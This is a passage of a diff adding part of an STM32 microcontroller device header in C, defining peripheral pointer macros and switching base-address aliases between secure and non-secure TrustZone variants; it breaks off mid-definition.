FLASH_S ((FLASH_TypeDef *) FLASH_R_BASE_S) +#define CRC_S ((CRC_TypeDef *) CRC_BASE_S) +#define CORDIC_S ((CORDIC_TypeDef *) CORDIC_BASE_S) +#define FMAC_S ((FMAC_TypeDef *) FMAC_BASE_S) +#define RAMCFG_SRAM1_S ((RAMCFG_TypeDef *) RAMCFG_SRAM1_BASE_S) +#define RAMCFG_SRAM2_S ((RAMCFG_TypeDef *) RAMCFG_SRAM2_BASE_S) +#define RAMCFG_SRAM3_S ((RAMCFG_TypeDef *) RAMCFG_SRAM3_BASE_S) +#define RAMCFG_BKPRAM_S ((RAMCFG_TypeDef *) RAMCFG_BKPRAM_BASE_S) +#define ETH_S ((ETH_TypeDef *) ETH_BASE_S) +#define ETH_MAC_S ((ETH_TypeDef *) ETH_MAC_BASE_S) +#define ICACHE_S ((ICACHE_TypeDef *) ICACHE_BASE_S) +#define DCACHE1_S ((DCACHE_TypeDef *) DCACHE1_BASE_S) +#define GTZC_TZSC1_S ((GTZC_TZSC_TypeDef *) GTZC_TZSC1_BASE_S) +#define GTZC_TZIC1_S ((GTZC_TZIC_TypeDef *) GTZC_TZIC1_BASE_S) +#define GTZC_MPCBB1_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB1_BASE_S) +#define GTZC_MPCBB2_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB2_BASE_S) +#define GTZC_MPCBB3_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB3_BASE_S) +#define GPDMA1_Channel0_S ((DMA_Channel_TypeDef *) GPDMA1_Channel0_BASE_S) +#define GPDMA1_Channel1_S ((DMA_Channel_TypeDef *) GPDMA1_Channel1_BASE_S) +#define GPDMA1_Channel2_S ((DMA_Channel_TypeDef *) GPDMA1_Channel2_BASE_S) +#define GPDMA1_Channel3_S ((DMA_Channel_TypeDef *) GPDMA1_Channel3_BASE_S) +#define GPDMA1_Channel4_S ((DMA_Channel_TypeDef *) GPDMA1_Channel4_BASE_S) +#define GPDMA1_Channel5_S ((DMA_Channel_TypeDef *) GPDMA1_Channel5_BASE_S) +#define GPDMA1_Channel6_S ((DMA_Channel_TypeDef *) GPDMA1_Channel6_BASE_S) +#define GPDMA1_Channel7_S ((DMA_Channel_TypeDef *) GPDMA1_Channel7_BASE_S) +#define GPDMA2_Channel0_S ((DMA_Channel_TypeDef *) GPDMA2_Channel0_BASE_S) +#define GPDMA2_Channel1_S ((DMA_Channel_TypeDef *) GPDMA2_Channel1_BASE_S) +#define GPDMA2_Channel2_S ((DMA_Channel_TypeDef *) GPDMA2_Channel2_BASE_S) +#define GPDMA2_Channel3_S ((DMA_Channel_TypeDef *) GPDMA2_Channel3_BASE_S) +#define GPDMA2_Channel4_S ((DMA_Channel_TypeDef *) GPDMA2_Channel4_BASE_S) +#define GPDMA2_Channel5_S ((DMA_Channel_TypeDef *) GPDMA2_Channel5_BASE_S) +#define GPDMA2_Channel6_S ((DMA_Channel_TypeDef *) GPDMA2_Channel6_BASE_S) +#define GPDMA2_Channel7_S ((DMA_Channel_TypeDef *) GPDMA2_Channel7_BASE_S) + + +/*!< AHB2 secure peripherals */ +#define GPIOA_S ((GPIO_TypeDef *) GPIOA_BASE_S) +#define GPIOB_S ((GPIO_TypeDef *) GPIOB_BASE_S) +#define GPIOC_S ((GPIO_TypeDef *) GPIOC_BASE_S) +#define GPIOD_S ((GPIO_TypeDef *) GPIOD_BASE_S) +#define GPIOE_S ((GPIO_TypeDef *) GPIOE_BASE_S) +#define GPIOF_S ((GPIO_TypeDef *) GPIOF_BASE_S) +#define GPIOG_S ((GPIO_TypeDef *) GPIOG_BASE_S) +#define GPIOH_S ((GPIO_TypeDef *) GPIOH_BASE_S) +#define GPIOI_S ((GPIO_TypeDef *) GPIOI_BASE_S) +#define ADC1_S ((ADC_TypeDef *) ADC1_BASE_S) +#define ADC2_S ((ADC_TypeDef *) ADC2_BASE_S) +#define ADC12_COMMON_S ((ADC_Common_TypeDef *) ADC12_COMMON_BASE_S) +#define DAC1_S ((DAC_TypeDef *) DAC1_BASE_S) +#define DCMI_S ((DCMI_TypeDef *) DCMI_BASE_S) +#define PSSI_S ((PSSI_TypeDef *) PSSI_BASE_S) +#define HASH_S ((HASH_TypeDef *) HASH_BASE_S) +#define HASH_DIGEST_S ((HASH_DIGEST_TypeDef *) HASH_DIGEST_BASE_S) +#define AES_S ((AES_TypeDef *) AES_BASE_S) +#define RNG_S ((RNG_TypeDef *) RNG_BASE_S) +#define SAES_S ((AES_TypeDef *) SAES_BASE_S) +#define PKA_S ((PKA_TypeDef *) PKA_BASE_S) + +/*!< APB3 secure peripherals */ +#define SBS_S ((SBS_TypeDef *) SBS_BASE_S) +#define SPI5_S ((SPI_TypeDef *) SPI5_BASE_S) +#define LPUART1_S ((USART_TypeDef *) LPUART1_BASE_S) +#define I2C3_S ((I2C_TypeDef *) I2C3_BASE_S) +#define I2C4_S ((I2C_TypeDef *) I2C4_BASE_S) +#define LPTIM1_S ((LPTIM_TypeDef *) LPTIM1_BASE_S) +#define LPTIM3_S ((LPTIM_TypeDef *) LPTIM3_BASE_S) +#define LPTIM4_S ((LPTIM_TypeDef *) LPTIM4_BASE_S) +#define LPTIM5_S ((LPTIM_TypeDef *) LPTIM5_BASE_S) +#define LPTIM6_S ((LPTIM_TypeDef *) LPTIM6_BASE_S) +#define VREFBUF_S ((VREFBUF_TypeDef *) VREFBUF_BASE_S) +#define RTC_S ((RTC_TypeDef *) RTC_BASE_S) +#define TAMP_S ((TAMP_TypeDef *) TAMP_BASE_S) + +/*!< AHB3 Secure peripherals */ +#define PWR_S ((PWR_TypeDef *) PWR_BASE_S) +#define RCC_S ((RCC_TypeDef *) RCC_BASE_S) +#define EXTI_S ((EXTI_TypeDef *) EXTI_BASE_S) + +/*!< AHB4 secure peripherals */ +#define OTFDEC1_S ((OTFDEC_TypeDef *) OTFDEC1_BASE_S) +#define OTFDEC1_REGION1_S ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION1_BASE_S) +#define OTFDEC1_REGION2_S ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION2_BASE_S) +#define OTFDEC1_REGION3_S ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION3_BASE_S) +#define OTFDEC1_REGION4_S ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION4_BASE_S) +#define SDMMC1_S ((SDMMC_TypeDef *) SDMMC1_BASE_S) +#define DLYB_SDMMC1_S ((DLYB_TypeDef *) DLYB_SDMMC1_BASE_S) +#define SDMMC2_S ((SDMMC_TypeDef *) SDMMC2_BASE_S) +#define DLYB_SDMMC2_S ((DLYB_TypeDef *) DLYB_SDMMC2_BASE_S) + +#define FMC_Bank1_R_S ((FMC_Bank1_TypeDef *) FMC_Bank1_R_BASE_S) +#define FMC_Bank1E_R_S ((FMC_Bank1E_TypeDef *) FMC_Bank1E_R_BASE_S) +#define FMC_Bank3_R_S ((FMC_Bank3_TypeDef *) FMC_Bank3_R_BASE_S) +#define FMC_Bank5_6_R_S ((FMC_Bank5_6_TypeDef *) FMC_Bank5_6_R_BASE_S) + +#define OCTOSPI1_S ((OCTOSPI_TypeDef *) OCTOSPI1_R_BASE_S) +#define DLYB_OCTOSPI1_S ((DLYB_TypeDef *) DLYB_OCTOSPI1_BASE_S) + +#define DBGMCU ((DBGMCU_TypeDef *) DBGMCU_BASE) + +/*!< Memory & Instance aliases and base addresses for Non-Secure/Secure peripherals */ + +#if defined (__ARM_FEATURE_CMSE) && (__ARM_FEATURE_CMSE == 3U) + +/*!< Memory base addresses for Secure peripherals */ +#define FLASH_BASE FLASH_BASE_S +#define FLASH_OBK_BASE FLASH_OBK_BASE_S +#define FLASH_EDATA_BASE FLASH_EDATA_BASE_S +#define FLASH_SYSTEM_BASE FLASH_SYSTEM_BASE_S +#define SRAM1_BASE SRAM1_BASE_S +#define SRAM2_BASE SRAM2_BASE_S +#define SRAM3_BASE SRAM3_BASE_S +#define BKPSRAM_BASE BKPSRAM_BASE_S +#define PERIPH_BASE PERIPH_BASE_S +#define APB1PERIPH_BASE APB1PERIPH_BASE_S +#define APB2PERIPH_BASE APB2PERIPH_BASE_S +#define APB3PERIPH_BASE APB3PERIPH_BASE_S +#define AHB1PERIPH_BASE AHB1PERIPH_BASE_S +#define AHB2PERIPH_BASE AHB2PERIPH_BASE_S +#define AHB3PERIPH_BASE AHB3PERIPH_BASE_S +#define AHB4PERIPH_BASE AHB4PERIPH_BASE_S + +/*!< Instance aliases and base addresses for Secure peripherals */ +#define CORDIC CORDIC_S +#define CORDIC_BASE CORDIC_BASE_S + +#define RCC RCC_S +#define RCC_BASE RCC_BASE_S + +#define DCMI DCMI_S +#define DCMI_BASE DCMI_BASE_S + +#define PSSI PSSI_S +#define PSSI_BASE PSSI_BASE_S + +#define DTS DTS_S +#define DTS_BASE DTS_BASE_S + +#define FLASH FLASH_S +#define FLASH_R_BASE FLASH_R_BASE_S + +#define FMAC FMAC_S +#define FMAC_BASE FMAC_BASE_S + +#define GPDMA1 GPDMA1_S +#define GPDMA1_BASE GPDMA1_BASE_S + +#define GPDMA1_Channel0 GPDMA1_Channel0_S +#define GPDMA1_Channel0_BASE GPDMA1_Channel0_BASE_S + +#define GPDMA1_Channel1 GPDMA1_Channel1_S +#define GPDMA1_Channel1_BASE GPDMA1_Channel1_BASE_S + +#define GPDMA1_Channel2 GPDMA1_Channel2_S +#define GPDMA1_Channel2_BASE GPDMA1_Channel2_BASE_S + +#define GPDMA1_Channel3 GPDMA1_Channel3_S +#define GPDMA1_Channel3_BASE GPDMA1_Channel3_BASE_S + +#define GPDMA1_Channel4 GPDMA1_Channel4_S +#define GPDMA1_Channel4_BASE GPDMA1_Channel4_BASE_S + +#define GPDMA1_Channel5 GPDMA1_Channel5_S +#define GPDMA1_Channel5_BASE GPDMA1_Channel5_BASE_S + +#define GPDMA1_Channel6 GPDMA1_Channel6_S +#define GPDMA1_Channel6_BASE GPDMA1_Channel6_BASE_S + +#define GPDMA1_Channel7 GPDMA1_Channel7_S +#define GPDMA1_Channel7_BASE GPDMA1_Channel7_BASE_S + +#define GPDMA2 GPDMA2_S +#define GPDMA2_BASE GPDMA2_BASE_S + +#define GPDMA2_Channel0 GPDMA2_Channel0_S +#define GPDMA2_Channel0_BASE GPDMA2_Channel0_BASE_S + +#define GPDMA2_Channel1 GPDMA2_Channel1_S +#define GPDMA2_Channel1_BASE GPDMA2_Channel1_BASE_S + +#define GPDMA2_Channel2 GPDMA2_Channel2_S +#define GPDMA2_Channel2_BASE GPDMA2_Channel2_BASE_S + +#define GPDMA2_Channel3 GPDMA2_Channel3_S +#define GPDMA2_Channel3_BASE GPDMA2_Channel3_BASE_S + +#define GPDMA2_Channel4 GPDMA2_Channel4_S +#define GPDMA2_Channel4_BASE GPDMA2_Channel4_BASE_S + +#define GPDMA2_Channel5 GPDMA2_Channel5_S +#define GPDMA2_Channel5_BASE GPDMA2_Channel5_BASE_S + +#define GPDMA2_Channel6 GPDMA2_Channel6_S +#define GPDMA2_Channel6_BASE GPDMA2_Channel6_BASE_S + +#define GPDMA2_Channel7 GPDMA2_Channel7_S +#define GPDMA2_Channel7_BASE GPDMA2_Channel7_BASE_S + +#define GPIOA GPIOA_S +#define GPIOA_BASE GPIOA_BASE_S + +#define GPIOB GPIOB_S +#define GPIOB_BASE GPIOB_BASE_S + +#define GPIOC GPIOC_S +#define GPIOC_BASE GPIOC_BASE_S + +#define GPIOD GPIOD_S +#define GPIOD_BASE GPIOD_BASE_S + +#define GPIOE GPIOE_S +#define GPIOE_BASE GPIOE_BASE_S + +#define GPIOF GPIOF_S +#define GPIOF_BASE GPIOF_BASE_S + +#define GPIOG GPIOG_S +#define GPIOG_BASE GPIOG_BASE_S + +#define GPIOH GPIOH_S +#define GPIOH_BASE GPIOH_BASE_S + +#define GPIOI GPIOI_S +#define GPIOI_BASE GPIOI_BASE_S + +#define PWR PWR_S +#define PWR_BASE PWR_BASE_S + +#define RAMCFG_SRAM1 RAMCFG_SRAM1_S +#define RAMCFG_SRAM1_BASE RAMCFG_SRAM1_BASE_S + +#define RAMCFG_SRAM2 RAMCFG_SRAM2_S +#define RAMCFG_SRAM2_BASE RAMCFG_SRAM2_BASE_S + +#define RAMCFG_SRAM3 RAMCFG_SRAM3_S +#define RAMCFG_SRAM3_BASE RAMCFG_SRAM3_BASE_S + +#define RAMCFG_BKPRAM RAMCFG_BKPRAM_S +#define RAMCFG_BKPRAM_BASE RAMCFG_BKPRAM_BASE_S + +#define EXTI EXTI_S +#define EXTI_BASE EXTI_BASE_S + +#define ICACHE ICACHE_S +#define ICACHE_BASE ICACHE_BASE_S + +#define DCACHE1 DCACHE1_S +#define DCACHE1_BASE DCACHE1_BASE_S + +#define GTZC_TZSC1 GTZC_TZSC1_S +#define GTZC_TZSC1_BASE GTZC_TZSC1_BASE_S + +#define GTZC_TZIC1 GTZC_TZIC1_S +#define GTZC_TZIC1_BASE GTZC_TZIC1_BASE_S + +#define GTZC_MPCBB1 GTZC_MPCBB1_S +#define GTZC_MPCBB1_BASE GTZC_MPCBB1_BASE_S + +#define GTZC_MPCBB2 GTZC_MPCBB2_S +#define GTZC_MPCBB2_BASE GTZC_MPCBB2_BASE_S + +#define GTZC_MPCBB3 GTZC_MPCBB3_S +#define GTZC_MPCBB3_BASE GTZC_MPCBB3_BASE_S + +#define RTC RTC_S +#define RTC_BASE RTC_BASE_S + +#define TAMP TAMP_S +#define TAMP_BASE TAMP_BASE_S + +#define TIM1 TIM1_S +#define TIM1_BASE TIM1_BASE_S + +#define TIM2 TIM2_S +#define TIM2_BASE TIM2_BASE_S + +#define TIM3 TIM3_S +#define TIM3_BASE TIM3_BASE_S + +#define TIM4 TIM4_S +#define TIM4_BASE TIM4_BASE_S + +#define TIM5 TIM5_S +#define TIM5_BASE TIM5_BASE_S + +#define TIM6 TIM6_S +#define TIM6_BASE TIM6_BASE_S + +#define TIM7 TIM7_S +#define TIM7_BASE TIM7_BASE_S + +#define TIM8 TIM8_S +#define TIM8_BASE TIM8_BASE_S + +#define TIM15 TIM15_S +#define TIM15_BASE TIM15_BASE_S + +#define TIM12 TIM12_S +#define TIM12_BASE TIM12_BASE_S + +#define TIM13 TIM13_S +#define TIM13_BASE TIM13_BASE_S + +#define TIM14 TIM14_S +#define TIM14_BASE TIM14_BASE_S + +#define TIM16 TIM16_S +#define TIM16_BASE TIM16_BASE_S + +#define TIM17 TIM17_S +#define TIM17_BASE TIM17_BASE_S + +#define WWDG WWDG_S +#define WWDG_BASE WWDG_BASE_S + +#define IWDG IWDG_S +#define IWDG_BASE IWDG_BASE_S + +#define SPI1 SPI1_S +#define SPI1_BASE SPI1_BASE_S + +#define SPI2 SPI2_S +#define SPI2_BASE SPI2_BASE_S + +#define SPI3 SPI3_S +#define SPI3_BASE SPI3_BASE_S + +#define SPI4 SPI4_S +#define SPI4_BASE SPI4_BASE_S + +#define SPI5 SPI5_S +#define SPI5_BASE SPI5_BASE_S + +#define SPI6 SPI6_S +#define SPI6_BASE SPI6_BASE_S + +#define USART1 USART1_S +#define USART1_BASE USART1_BASE_S + +#define USART2 USART2_S +#define USART2_BASE USART2_BASE_S + +#define USART3 USART3_S +#define USART3_BASE USART3_BASE_S + +#define UART4 UART4_S +#define UART4_BASE UART4_BASE_S + +#define UART5 UART5_S +#define UART5_BASE UART5_BASE_S + +#define USART6 USART6_S +#define USART6_BASE USART6_BASE_S + +#define UART7 UART7_S +#define UART7_BASE UART7_BASE_S + +#define UART8 UART8_S +#define UART8_BASE UART8_BASE_S + +#define UART9 UART9_S +#define UART9_BASE UART9_BASE_S + +#define USART10 USART10_S +#define USART10_BASE USART10_BASE_S + +#define USART11 USART11_S +#define USART11_BASE USART11_BASE_S + +#define UART12 UART12_S +#define UART12_BASE UART12_BASE_S + +#define CEC CEC_S +#define CEC_BASE CEC_BASE_S + +#define I2C1 I2C1_S +#define I2C1_BASE I2C1_BASE_S + +#define I2C2 I2C2_S +#define I2C2_BASE I2C2_BASE_S + +#define I2C3 I2C3_S +#define I2C3_BASE I2C3_BASE_S + +#define I2C4 I2C4_S +#define I2C4_BASE I2C4_BASE_S + +#define I3C1 I3C1_S +#define I3C1_BASE I3C1_BASE_S + +#define CRS CRS_S +#define CRS_BASE CRS_BASE_S + +#define FDCAN1 FDCAN1_S +#define FDCAN1_BASE FDCAN1_BASE_S + +#define FDCAN_CONFIG FDCAN_CONFIG_S +#define FDCAN_CONFIG_BASE FDCAN_CONFIG_BASE_S +#define SRAMCAN_BASE SRAMCAN_BASE_S + +#define FDCAN2 FDCAN2_S +#define FDCAN2_BASE FDCAN2_BASE_S + +#define DAC1 DAC1_S +#define DAC1_BASE DAC1_BASE_S + +#define LPTIM1 LPTIM1_S +#define LPTIM1_BASE LPTIM1_BASE_S + +#define LPTIM2 LPTIM2_S +#define LPTIM2_BASE LPTIM2_BASE_S + +#define LPTIM3 LPTIM3_S +#define LPTIM3_BASE LPTIM3_BASE_S + +#define LPTIM4 LPTIM4_S +#define LPTIM4_BASE LPTIM4_BASE_S + +#define LPTIM5 LPTIM5_S +#define LPTIM5_BASE LPTIM5_BASE_S + +#define LPTIM6 LPTIM6_S +#define LPTIM6_BASE LPTIM6_BASE_S + +#define LPUART1 LPUART1_S +#define LPUART1_BASE LPUART1_BASE_S + +#define UCPD1 UCPD1_S +#define UCPD1_BASE UCPD1_BASE_S + +#define SBS SBS_S +#define SBS_BASE SBS_BASE_S + +#define VREFBUF VREFBUF_S +#define VREFBUF_BASE VREFBUF_BASE_S + +#define SAI1 SAI1_S +#define SAI1_BASE SAI1_BASE_S + +#define SAI1_Block_A SAI1_Block_A_S +#define SAI1_Block_A_BASE SAI1_Block_A_BASE_S + +#define SAI1_Block_B SAI1_Block_B_S +#define SAI1_Block_B_BASE SAI1_Block_B_BASE_S + +#define SAI2 SAI2_S +#define SAI2_BASE SAI2_BASE_S + +#define SAI2_Block_A SAI2_Block_A_S +#define SAI2_Block_A_BASE SAI2_Block_A_BASE_S + +#define SAI2_Block_B SAI2_Block_B_S +#define SAI2_Block_B_BASE SAI2_Block_B_BASE_S + +#define USB_DRD_FS USB_DRD_FS_S +#define USB_DRD_BASE USB_DRD_BASE_S +#define USB_DRD_PMAADDR USB_DRD_PMAADDR_S +#define USB_DRD_PMA_BUFF USB_DRD_PMA_BUFF_S + +#define CRC CRC_S +#define CRC_BASE CRC_BASE_S + +#define ADC1 ADC1_S +#define ADC1_BASE ADC1_BASE_S + +#define ADC2 ADC2_S +#define ADC2_BASE ADC2_BASE_S + +#define ADC12_COMMON ADC12_COMMON_S +#define ADC12_COMMON_BASE ADC12_COMMON_BASE_S + +#define HASH HASH_S +#define HASH_BASE HASH_BASE_S + +#define HASH_DIGEST HASH_DIGEST_S +#define HASH_DIGEST_BASE HASH_DIGEST_BASE_S + +#define AES AES_S +#define AES_BASE AES_BASE_S + +#define RNG RNG_S +#define RNG_BASE RNG_BASE_S + +#define SAES SAES_S +#define SAES_BASE SAES_BASE_S + +#define PKA PKA_S +#define PKA_BASE PKA_BASE_S +#define PKA_RAM_BASE PKA_RAM_BASE_S + +#define OTFDEC1 OTFDEC1_S +#define OTFDEC1_BASE OTFDEC1_BASE_S + +#define OTFDEC1_REGION1 OTFDEC1_REGION1_S +#define OTFDEC1_REGION1_BASE OTFDEC1_REGION1_BASE_S + +#define OTFDEC1_REGION2 OTFDEC1_REGION2_S +#define OTFDEC1_REGION2_BASE OTFDEC1_REGION2_BASE_S + +#define OTFDEC1_REGION3 OTFDEC1_REGION3_S +#define OTFDEC1_REGION3_BASE OTFDEC1_REGION3_BASE_S + +#define OTFDEC1_REGION4 OTFDEC1_REGION4_S +#define OTFDEC1_REGION4_BASE OTFDEC1_REGION4_BASE_S + + +#define ETH ETH_S +#define ETH_BASE ETH_BASE_S +#define ETH_MAC ETH_MAC_S +#define ETH_MAC_BASE ETH_MAC_BASE_S + +#define SDMMC1 SDMMC1_S +#define SDMMC1_BASE SDMMC1_BASE_S + +#define SDMMC2 SDMMC2_S +#define SDMMC2_BASE SDMMC2_BASE_S + +#define FMC_Bank1_R FMC_Bank1_R_S +#define FMC_Bank1_R_BASE FMC_Bank1_R_BASE_S + +#define FMC_Bank1E_R FMC_Bank1E_R_S +#define FMC_Bank1E_R_BASE FMC_Bank1E_R_BASE_S + +#define FMC_Bank3_R FMC_Bank3_R_S +#define FMC_Bank3_R_BASE FMC_Bank3_R_BASE_S + +#define FMC_Bank5_6_R FMC_Bank5_6_R_S +#define FMC_Bank5_6_R_BASE FMC_Bank5_6_R_BASE_S + +#define OCTOSPI1 OCTOSPI1_S +#define OCTOSPI1_R_BASE OCTOSPI1_R_BASE_S + +#define DLYB_SDMMC1 DLYB_SDMMC1_S +#define DLYB_SDMMC1_BASE DLYB_SDMMC1_BASE_S + +#define DLYB_SDMMC2 DLYB_SDMMC2_S +#define DLYB_SDMMC2_BASE DLYB_SDMMC2_BASE_S + +#define DLYB_OCTOSPI1 DLYB_OCTOSPI1_S +#define DLYB_OCTOSPI1_BASE DLYB_OCTOSPI1_BASE_S + +#else + +/*!< Memory base addresses for Non secure peripherals */ +#define FLASH_BASE FLASH_BASE_NS +#define FLASH_OBK_BASE FLASH_OBK_BASE_NS +#define FLASH_EDATA_BASE FLASH_EDATA_BASE_NS +#define FLASH_SYSTEM_BASE FLASH_SYSTEM_BASE_NS + +#define SRAM1_BASE SRAM1_BASE_NS +#define SRAM2_BASE SRAM2_BASE_NS + +#define SRAM3_BASE SRAM3_BASE_NS +#define BKPSRAM_BASE BKPSRAM_BASE_NS + +#define PERIPH_BASE PERIPH_BASE_NS +#define APB1PERIPH_BASE APB1PERIPH_BASE_NS +#define APB2PERIPH_BASE APB2PERIPH_BASE_NS +#define APB3PERIPH_BASE APB3PERIPH_BASE_NS +#define AHB1PERIPH_BASE AHB1PERIPH_BASE_NS +#define AHB2PERIPH_BASE AHB2PERIPH_BASE_NS +#define AHB3PERIPH_BASE AHB3PERIPH_BASE_NS +#define AHB4PERIPH_BASE AHB4PERIPH_BASE_NS + +/*!< Instance aliases and base addresses for Non secure peripherals */ +#define CORDIC CORDIC_NS +#define CORDIC_BASE CORDIC_BASE_NS + +#define RCC RCC_NS +#define RCC_BASE RCC_BASE_NS + +#define DCMI DCMI_NS +#define DCMI_BASE DCMI_BASE_NS + +#define PSSI PSSI_NS +#define PSSI_BASE PSSI_BASE_NS + +#define DTS DTS_NS +#define DTS_BASE DTS_BASE_NS + +#define FLASH FLASH_NS +#define FLASH_R_BASE FLASH_R_BASE_NS + +#define FMAC FMAC_NS +#define FMAC_BASE FMAC_BASE_NS + +#define GPDMA1 GPDMA1_NS +#define GPDMA1_BASE GPDMA1_BASE_NS + +#define GPDMA1_Channel0 GPDMA1_Channel0_NS +#define GPDMA1_Channel0_BASE GPDMA1_Channel0_BASE_NS + +#define GPDMA1_Channel1 GPDMA1_Channel1_NS +#define GPDMA1_Channel1_BASE GPDMA1_Channel1_BASE_NS + +#define GPDMA1_Channel2 GPDMA1_Channel2_NS +#define GPDMA1_Channel2_BASE GPDMA1_Channel2_BASE_NS + +#define GPDMA1_Channel3 GPDMA1_Channel3_NS +#define GPDMA1_Channel3_BASE GPDMA1_Channel3_BASE_NS + +#define GPDMA1_Channel4 GPDMA1_Channel4_NS +#define GPDMA1_Channel4_BASE GPDMA1_Channel4_BASE_NS + +#define GPDMA1_Channel5 GPDMA1_Channel5_NS +#define GPDMA1_Channel5_BASE GPDMA1_Channel5_BASE_NS + +#define GPDMA1_Channel6 GPDMA1_Channel6_NS +#define GPDMA1_Channel6_BASE GPDMA1_Channel6_BASE_NS + +#define GPDMA1_Channel7 GPDMA1_Channel7_NS +#define GPDMA1_Channel7_BASE GPDMA1_Channel7_BASE_NS + +#define GPDMA2 GPDMA2_NS +#define GPDMA2_BASE GPDMA2_BASE_NS + +#define GPDMA2_Channel0 GPDMA2_Channel0_NS +#define GPDMA2_Channel0_BASE GPDMA2_Channel0_BASE_NS + +#define GPDMA2_Channel1 GPDMA2_Channel1_NS +#define GPDMA2_Channel1_BASE GPDMA2_Channel1_BASE_NS + +#define GPDMA2_Channel2 GPDMA2_Channel2_NS +#define GPDMA2_Channel2_BASE GPDMA2_Channel2_BASE_NS + +#define GPDMA2_Channel3 GPDMA2_Channel3_NS +#define GPDMA2_Channel3_BASE GPDMA2_Channel3_BASE_NS + +#define GPDMA2_Channel4 GPDMA2_Channel4_NS +#define GPDMA2_Channel4_BASE GPDMA2_Channel4_BASE_NS + +#define GPDMA2_Channel5 GPDMA2_Channel5_NS +#define GPDMA2_Channel5_BASE GPDMA2_Channel5_BASE_NS + +#define GPDMA2_Channel6 GPDMA2_Channel6_NS +#define GPDMA2_Channel6_BASE GPDMA2_Channel6_BASE_NS + +#define GPDMA2_Channel7 GPDMA2_Channel7_NS +#define GPDMA2_Channel7_BASE GPDMA2_Channel7_BASE_NS + +#define GPIOA GPIOA_NS +#define GPIOA_BASE GPIOA_BASE_NS + +#define GPIOB GPIOB_NS +#define GPIOB_BASE GPIOB_BASE_NS + +#define GPIOC GPIOC_NS +#define GPIOC_BASE GPIOC_BASE_NS + +#define GPIOD GPIOD_NS +#define GPIOD_BASE GPIOD_BASE_NS + +#define GPIOE GPIOE_NS +#define GPIOE_BASE GPIOE_BASE_NS + +#define GPIOF GPIOF_NS +#define GPIOF_BASE GPIOF_BASE_NS + +#define GPIOG GPIOG_NS +#define GPIOG_BASE GPIOG_BASE_NS + +#define GPIOH GPIOH_NS +#define GPIOH_BASE GPIOH_BASE_NS + +#define GPIOI GPIOI_NS +#define GPIOI_BASE GPIOI_BASE_NS + +#define PWR PWR_NS +#define PWR_BASE PWR_BASE_NS + +#define RAMCFG_SRAM1 RAMCFG_SRAM1_NS +#define RAMCFG_SRAM1_BASE RAMCFG_SRAM1_BASE_NS + +#define RAMCFG_SRAM2 RAMCFG_SRAM2_NS +#define RAMCFG_SRAM2_BASE RAMCFG_SRAM2_BASE_NS + +#define RAMCFG_SRAM3 RAMCFG_SRAM3_NS +#define RAMCFG_SRAM3_BASE RAMCFG_SRAM3_BASE_NS + +#define RAMCFG_BKPRAM RAMCFG_BKPRAM_NS +#define RAMCFG_BKPRAM_BASE RAMCFG_BKPRAM_BASE_NS + +#define EXTI EXTI_NS +#define EXTI_BASE EXTI_BASE_NS + +#define ICACHE ICACHE_NS +#define ICACHE_BASE ICACHE_BASE_NS + +#define DCACHE1 DCACHE1_NS +#define DCACHE1_BASE DCACHE1_BASE_NS + +#define GTZC_TZSC1 GTZC_TZSC1_NS +#define GTZC_TZSC1_BASE GTZC_TZSC1_BASE_NS + +#define GTZC_TZIC1 GTZC_TZIC1_NS +#define GTZC_TZIC1_BASE GTZC_TZIC1_BASE_NS + +#define GTZC_MPCBB1 GTZC_MPCBB1_NS +#define GTZC_MPCBB1_BASE GTZC_MPCBB1_BASE_NS + +#define GTZC_MPCBB2 GTZC_MPCBB2_NS +#define GTZC_MPCBB2_BASE GTZC_MPCBB2_BASE_NS + +#define GTZC_MPCBB3 GTZC_MPCBB3_NS +#define GTZC_MPCBB3_BASE GTZC_MPCBB3_BASE_NS + +#define RTC RTC_NS +#define RTC_BASE RTC_BASE_NS + +#define TAMP TAMP_NS +#define TAMP_BASE TAMP_BASE_NS + +#define TIM1 TIM1_NS +#define TIM1_BASE TIM1_BASE_NS + +#define TIM2 TIM2_NS +#define TIM2_BASE TIM2_BASE_NS + +#define TIM3 TIM3_NS +#define TIM3_BASE TIM3_BASE_NS + +#define TIM4 TIM4_NS +#define TIM4_BASE TIM4_BASE_NS + +#define TIM5 TIM5_NS +#define TIM5_BASE TIM5_BASE_NS + +#define TIM6 TIM6_NS +#define TIM6_BASE TIM6_BASE_NS + +#define TIM7 TIM7_NS +#define TIM7_BASE TIM7_BASE_NS + +#define TIM8 TIM8_NS +#define TIM8_BASE TIM8_BASE_NS + +#define TIM12 TIM12_NS +#define TIM12_BASE TIM12_BASE_NS + +#define TIM13 TIM13_NS +#define TIM13_BASE TIM13_BASE_NS + +#define TIM14 TIM14_NS +#define TIM14_BASE TIM14_BASE_NS + +#define TIM15 TIM15_NS +#define TIM15_BASE TIM15_BASE_NS + +#define TIM16 TIM16_NS +#define TIM16_BASE TIM16_BASE_NS + +#define TIM17 TIM17_NS +#define TIM17_BASE TIM17_BASE_NS + +#define WWDG WWDG_NS +#define WWDG_BASE WWDG_BASE_NS + +#define IWDG IWDG_NS +#define IWDG_BASE IWDG_BASE_NS + +#define SPI1 SPI1_NS +#define SPI1_BASE SPI1_BASE_NS + +#define SPI2 SPI2_NS +#define SPI2_BASE SPI2_BASE_NS + +#define SPI3 SPI3_NS +#define SPI3_BASE SPI3_BASE_NS + +#define SPI4 SPI4_NS +#define SPI4_BASE SPI4_BASE_NS + +#define SPI5 SPI5_NS +#define SPI5_BASE SPI5_BASE_NS + +#define SPI6 SPI6_NS +#define SPI6_BASE SPI6_BASE_NS + +#define USART1 USART1_NS +#define USART1_BASE USART1_BASE_NS + +#define USART2 USART2_NS +#define USART2_BASE USART2_BASE_NS + +#define USART3 USART3_NS +#define USART3_BASE USART3_BASE_NS + +#define UART4 UART4_NS +#define UART4_BASE UART4_BASE_NS + +#define UART5 UART5_NS +#define UART5_BASE UART5_BASE_NS + +#define USART6 USART6_NS +#define USART6_BASE USART6_BASE_NS + +#define UART7 UART7_NS +#define UART7_BASE UART7_BASE_NS + +#define UART8 UART8_NS +#define UART8_BASE UART8_BASE_NS + +#define UART9 UART9_NS +#define UART9_BASE UART9_BASE_NS + +#define USART10 USART10_NS +#define USART10_BASE USART10_BASE_NS + +#define USART11 USART11_NS +#define USART11_BASE USART11_BASE_NS + +#define UART12 